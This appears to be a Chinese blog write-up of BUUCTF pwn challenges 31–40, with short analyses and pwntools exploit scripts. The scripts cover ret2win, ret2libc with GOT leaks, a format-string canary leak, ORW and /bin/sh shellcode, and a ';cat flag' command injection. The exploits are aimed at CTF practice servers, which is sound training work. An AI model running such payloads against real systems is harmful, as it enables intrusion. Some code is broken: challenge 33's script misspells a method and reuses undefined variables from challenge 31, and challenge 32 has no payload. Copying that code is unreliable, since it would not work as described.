31~40

31.picoctf_2018_rop chain

(1)分析

image-20230922145334145

main

image-20230922201416570

vuln

image-20230922201447196

gets溢出漏洞

flag

image-20230922201653145

可以看到已经打开flag并且读到s中,只要条件if ( win1 && win2 && a1 == -559039827 )符合就会给flag,同时我们发现在win_function2和win_function2函数中,分别将win1和win2赋值为1了,所以我们只要控制程序跳转执行这两个函数即可

image-20230922202628371

image-20230922202646477

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',26111)
#io=process('./31')
elf=ELF('./31')

win_function1_addr=0x80485cb
win_function2_addr=0x80485d8
flag_addr=0x804862b
a1=0xBAAAAAAD
a11=0xDEADBAAD
padding=0x1c #偏移地址

payload=b'a'*padding
payload += p32(win_function1_addr)
payload += p32(win_function2_addr)
payload += p32(flag_addr)+p32(a1)+p32(a11) #a1是win_function2_addr的参数,a11是flag_addr的参数,参数全部按次序放后面

io.recvuntil(b'Enter your input>')
io.sendline(payload)
io.interactive()

*32.babyheap_0ctf_2017

(1)分析

image-20230922145422420

(2)payload

1

*33.ez_pz_hackover_2016

(1)分析

image-20230922145459077

main

image-20230922205718319

chall

image-20230922205739654

发现当s与crashme比较相同时,执行vuln函数

vuln

image-20230922210628814

返回主调函数看n和src,发现n是0x400,src是1023字节,明显会将dest溢出,那么我们就可以利用这个溢出点来进行攻击。由于程序没有NX保护,考虑用ret2shellcode进行攻击

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',26111)
#io=process('./33')
elf=ELF('./33')

io.recvuntill(b'Yippie, lets crash:')
s_addr=u32(io.recv(4))
padding=0x3c #偏移地址

payload=b'a'*padding
payload += p32(win_function1_addr)
payload += p32(win_function2_addr)
payload += p32(flag_addr)+p32(a1)+p32(a11)

io.recvuntil(b'Whats your name?\n')
io.sendline(payload)
io.interactive()

34.wustctf2020_getshell

(1)分析

image-20231008145526459

main

image-20231008145840238

vulnerable

image-20231008145810639

read漏洞,可溢出8字节

shell

image-20231008145937856

后门函数

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',26462)
#io=process('./34')
elf=ELF('./34')

shell_addr=0x804851b
padding=0x1c #偏移地址

payload = b'a'*padding
payload += p32(shell_addr)

io.sendline(payload)
io.interactive()

35.jarvisoj_level3_x64

(1)分析

image-20231008151346097

main

image-20231008151316283

vulnerable_function

image-20231008151418570

read漏洞

没有system和/bin/sh字符串,基本确定ret2libc

在ROPgadget中找到了rdi和rsi的返回地址,确认无误

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',26140)
elf=ELF('./35')

write_plt=elf.plt['write']
write_got=elf.got['write']
pop_rdi_ret=0x4006b3
pop_rsi_r15_ret=0x4006b1
#ret=0x400499 #有时栈平衡会需要这个gadget凑数
main_addr=elf.sym['main']
padding=0x88 #偏移地址

payload1=b'a'*padding
payload1+=p64(pop_rdi_ret)+p64(1) #rdi寄存器设置write函数的第一个参数为‘1’
payload1+=p64(pop_rsi_r15_ret)+p64(write_got)+p64(4) #rsi寄存器设置write函数的第二个参数为write_got表的地址,r15寄存器设置write函数的第三个参数为8
payload1+=p64(write_plt)+p64(main_addr) #调用write函数

io.sendline(payload1)
#下面两行需要根据实际情况来获取泄露函数真实地址
io.recv()
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))
#以下为通用操作
libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump('write')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

'''libc=ELF('libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))'''

payload2=b'a'*padding+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.sendline(payload2)
io.interactive()

36.bjdctf_2020_babyrop2

(1)分析

image-20231009145714171

开了canary保护,那我们就要在程序中看看有没有printf函数来泄露canary,因为这是相对简单的canary绕过方式

main

image-20231009145807815

gift

image-20231009145851278

OK,printf字符串漏洞泄露canary

vuln

image-20231009145921892

read函数漏洞

init

image-20231009150057377

明示ret2libc了

那么我们找一下需要的gadgets

image-20231009204252154

OK,rdi和rsi都找到了

那么接下来用gdb调试出printf字符串在栈上的位置

image-20231009205120474

所以canary的偏移为7

好,准备工作全部完成,接下来就是构造payload,我们可以在模板上进行修改。

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',26404)
elf=ELF('./36')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=0x400993
pop_rsi_r15_ret=0x400991
#ret=xxx
main_addr=elf.sym['main']
vuln_addr=elf.sym['vuln']
padding=0x20 #偏移地址

#canary
payload=b"%7$p"
io.sendlineafter(b"u!\n",payload)
io.recvuntil(b"0x")
canary = int(io.recv(16),16)
payload = p64(canary)

#ret2libc
payload1=b'a'*(padding-8)+p64(canary)+p64(0)
payload1+=p64(pop_rdi_ret)+p64(puts_got)
payload1+=p64(puts_plt)+p64(vuln_addr)

io.recvuntil(b'story!\n')
io.sendline(payload1)
#下面两行需要根据实际情况来获取泄露函数真实地址

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))
#以下为通用操作
'''
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
'''
libc=ELF('64libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2=b'a'*(padding-8)+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.recvuntil(b'story!\n')
io.sendline(payload2)
io.interactive()

37.pwnable_orw

(1)分析

image-20231010160410570

题目基本可以确定是ORW方法

介绍一下,ORW是开启了沙箱保护,简单来说就是系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write三个函数来得到flag

main

image-20231010200057639

orw_seccomp

image-20231010200126637

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的沙箱机制。在 Linux 系统里,大量的系统调用(syscall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(syscall),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止

可以看到orw_seccomp函数执行了两次prctl函数,第一次调用prctl函数 ——禁止提权,第二次调用prctl函数 ——限制能执行的系统调用只有open,write,exit

所以我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag。这就是ORW方法

同时pwntools提供了对简单的shellcode的支持

另外自己写个shellcode也可以

打开flag文件,sys_open(file,0,0);系统调用号为5

push 0x0 #字符串结尾
push 0x67616c66 #’flag’ “flag字符串的16进制表示,由于小端序,所以是从右往左”
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)

读flag文件,sys_read(3,file,0x100);系统调用号为3

mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据–>也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;

输出flag文件内容,sys_write(1,file,0x30);系统调用号为4

mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;

(2)payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch = 'i386'
io = remote('node3.buuoj.cn',28626)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)

io.send(payload)
io.interactive()

38.mrctf2020_shellcode

(1)分析

image-20231010203956818

堆栈保护没开,应该是shellcode了

main

image-20231010214201180

虽然没溢出,buf的字节给的很大,依然可以shellcode

(2)payload

1
2
3
4
5
6
7
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io=remote("node3.buuoj.cn",29643)
elf=ELF('./38')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

39.jarvisoj_level4

(1)分析

image-20231010215026099

main

image-20231010215214791

vulnerable_function

image-20231010215229142

溢出24字节

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',28540)
#io=process('./39')
elf=ELF('./39')

main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=0x8c #偏移地址

payload1=b'a'*padding
payload1 += p32(write_plt)+p32(main_addr)
payload1 += p32(1)+p32(write_got)+p32(4)

#根据函数的用法来构造,如果是puts函数则参考64位的方法

io.sendline(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址
write_addr=u32(io.recv(4))
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))

#以下为通用操作
'''libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')
'''
libc=ELF('32libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.sendline(payload2)
io.interactive()

40.bjdctf_2020_router

(1)分析

image-20231010215930471

main

image-20231010220101928

image-20231010220145063

发现main函数中的case 1中有system函数,并且会将buf给dest的结尾,那么我们直接进入case 1,输入;cat flag指令即可

这利用了linux下的命令机制,命令1+ ; +命令2 这样的格式两种指令都会执行

所以使用 ;cat flag 可以提权


31~40
http://example.com/2023/09/22/WP/BUUCTF/31-40/
作者
Jwj-Learning
发布于
2023年9月22日
许可协议